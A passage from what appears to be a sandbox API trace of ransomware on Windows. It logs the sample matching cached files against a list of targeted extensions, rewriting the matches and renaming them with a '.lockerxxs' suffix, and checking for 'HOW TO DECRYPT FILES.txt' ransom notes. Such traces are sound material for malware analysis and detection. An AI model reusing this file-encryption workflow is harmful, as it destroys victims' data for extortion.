Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.qif") returned 0 [0084.181] lstrlenA (lpString="*.qif") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.mye") returned 0 [0084.181] lstrlenA (lpString="*.mye") returned 5 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.mbox") returned 0 [0084.181] lstrlenA (lpString="*.mbox") returned 6 [0084.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.eml") returned 0 [0084.181] lstrlenA (lpString="*.eml") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.pst") returned 0 [0084.182] lstrlenA (lpString="*.pst") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.ost") returned 0 [0084.182] lstrlenA (lpString="*.ost") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.idx") returned 0 [0084.182] lstrlenA (lpString="*.idx") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.dbx") returned 0 [0084.182] lstrlenA (lpString="*.dbx") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.sql") returned 0 [0084.182] lstrlenA (lpString="*.sql") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.mdb") returned 0 [0084.182] lstrlenA (lpString="*.mdb") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.fdb") returned 0 [0084.182] lstrlenA (lpString="*.fdb") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.wab") returned 0 [0084.182] lstrlenA (lpString="*.wab") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.dat") returned 0 [0084.182] lstrlenA (lpString="*.dat") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.txt") returned 0 [0084.182] lstrlenA (lpString="*.txt") returned 5 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.jpeg") returned 0 [0084.182] lstrlenA (lpString="*.jpeg") returned 6 [0084.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", pszSpec="*.jpg") returned 1 [0084.182] lstrlenA (lpString="*.jpg") returned 5 [0084.182] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" [0084.183] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" [0084.183] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg." [0084.183] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.lockerxxs" [0084.183] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.184] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f6b [0084.184] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52f7f1f0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52f7f1f0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52f7f1f0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.184] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.184] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2f45, lpOverlapped=0x0) returned 1 [0084.186] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg") returned="BBBR4yQ[1].jpg" [0084.186] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.186] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2f45, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2f45, lpOverlapped=0x0) returned 1 [0084.187] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.187] CloseHandle (hObject=0xa4) returned 1 [0084.187] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbr4yq[1].jpg.lockerxxs")) returned 1 [0084.188] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e4e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e4e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e4e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBUPaj[1].jpg", cAlternateFileName="BBBUPA~1.JPG")) returned 1 [0084.188] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.188] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBUPaj[1].jpg") returned 1 [0084.188] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBUPaj[1].jpg") returned 1 [0084.188] lstrcmpiA (lpString1="", lpString2="BBBUPaj[1].jpg") returned -1 [0084.188] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBR4yQ[1].jpg") returned="BBBR4yQ[1].jpg" [0084.188] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.188] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.189] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.189] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.189] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBUPaj[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" [0084.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.ems") returned 0 [0084.189] lstrlenA (lpString="*.ems") returned 5 [0084.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.db") returned 0 [0084.189] lstrlenA (lpString="*.db") returned 4 [0084.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.dbf") returned 0 [0084.189] lstrlenA (lpString="*.dbf") returned 5 [0084.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.myox") returned 0 [0084.189] lstrlenA (lpString="*.myox") returned 6 [0084.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.myo") returned 0 [0084.189] lstrlenA (lpString="*.myo") returned 5 [0084.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qbw") returned 0 [0084.189] lstrlenA (lpString="*.qbw") returned 5 [0084.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qbb") returned 0 [0084.190] lstrlenA (lpString="*.qbb") returned 5 [0084.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qbm") returned 0 [0084.190] lstrlenA (lpString="*.qbm") returned 5 [0084.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qbo") returned 0 [0084.190] lstrlenA (lpString="*.qbo") returned 5 [0084.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qbx") returned 0 [0084.203] lstrlenA (lpString="*.qbx") returned 5 [0084.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qba") returned 0 [0084.203] lstrlenA (lpString="*.qba") returned 5 [0084.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qby") returned 0 [0084.203] lstrlenA (lpString="*.qby") returned 5 [0084.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qbj") returned 0 [0084.203] lstrlenA (lpString="*.qbj") returned 5 [0084.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.ofx") returned 0 [0084.203] lstrlenA (lpString="*.ofx") returned 5 [0084.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.qif") returned 0 [0084.203] lstrlenA (lpString="*.qif") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.mye") returned 0 [0084.204] lstrlenA (lpString="*.mye") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.mbox") returned 0 [0084.204] lstrlenA (lpString="*.mbox") returned 6 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.eml") returned 0 [0084.204] lstrlenA (lpString="*.eml") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.pst") returned 0 [0084.204] lstrlenA (lpString="*.pst") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.ost") returned 0 [0084.204] lstrlenA (lpString="*.ost") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.idx") returned 0 [0084.204] lstrlenA (lpString="*.idx") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.dbx") returned 0 [0084.204] lstrlenA (lpString="*.dbx") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.sql") returned 0 [0084.204] lstrlenA (lpString="*.sql") returned 5 [0084.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.mdb") returned 0 [0084.205] lstrlenA (lpString="*.mdb") returned 5 [0084.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.fdb") returned 0 [0084.205] lstrlenA (lpString="*.fdb") returned 5 [0084.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.wab") returned 0 [0084.205] lstrlenA (lpString="*.wab") returned 5 [0084.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.dat") returned 0 [0084.205] lstrlenA (lpString="*.dat") returned 5 [0084.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.txt") returned 0 [0084.205] lstrlenA (lpString="*.txt") returned 5 [0084.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.jpeg") returned 0 [0084.205] lstrlenA (lpString="*.jpeg") returned 6 [0084.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", pszSpec="*.jpg") returned 1 [0084.205] lstrlenA (lpString="*.jpg") returned 5 [0084.205] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" [0084.205] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" [0084.205] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg." [0084.205] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg.lockerxxs" [0084.205] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbupaj[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.207] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x264b [0084.207] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52e4e6f0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52e4e6f0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52e4e6f0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.207] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.207] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2625, lpOverlapped=0x0) returned 1 [0084.210] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBUPaj[1].jpg") returned="BBBUPaj[1].jpg" [0084.210] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 